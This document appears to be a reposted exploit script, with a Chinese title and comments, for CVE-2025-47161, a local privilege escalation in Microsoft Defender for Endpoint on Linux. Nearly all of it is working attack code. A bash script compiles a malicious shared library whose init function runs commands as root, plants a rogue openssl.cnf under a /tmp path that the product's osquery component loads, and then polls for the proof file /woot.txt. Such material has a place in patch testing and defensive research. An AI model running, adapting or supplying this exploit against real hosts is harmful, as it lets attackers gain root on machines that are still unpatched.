Microsoft Defender for Endpoint (MDE) - 权限提升 - 多平台本地漏洞利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

#!/bin/bash
# Exploit Title: Microsoft Defender for Endpoint (MDE) - Elevation of Privilege
# Date: 2025-05-27
# Exploit Author: Rich Mirch
# Vendor Homepage: https://learn.microsoft.com/en-us/defender-endpoint/
# Software Link: https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-endpoint-linux
# Vendor Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47161
# Blog: http://stratascale.com/vulnerability-alert-cve202547161
# Tested on: Ubuntu 24.04.1 LTS and 24.04.2 LTS
# CVE : CVE-2025-47161

echo "MDE Version: $(mdatp version)"

# 阶段1：创建恶意共享库源码
cat >mde-exp.c<<EOF
/*
* 构建过程:
* gcc -fPIC -o woot.o -Wall -c woot.c
* gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

void woot(){
    // 用于手动测试
    if(isatty(STDERR_FILENO)) {
        fprintf(stderr,"Woot!\n");
    }
    system("ps -ef > /woot.txt");
    sleep(3000000);
}

EOF

# 构建漏洞利用程序
gcc -fPIC -o woot.o -Wall -c mde-exp.c
gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o

# 创建恶意openssl配置文件目录结构
mkdir -p /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/

# 创建恶意openssl配置文件
cat > /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/openssl.cnf <<EOF
# 恶意openssl.cnf配置文件
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
woot = woot_section

[woot_section]
engine_id = woot
dynamic_path = /tmp/woot.so
init = 0
EOF

echo "每15秒检查一次/woot.txt文件是否存在"
while true
do
    if [[ -f /woot.txt ]]
    then
        echo "WOOT - /woot.txt文件已存在"
        ls -ld /woot.txt
        exit
    fi
    sleep 15
done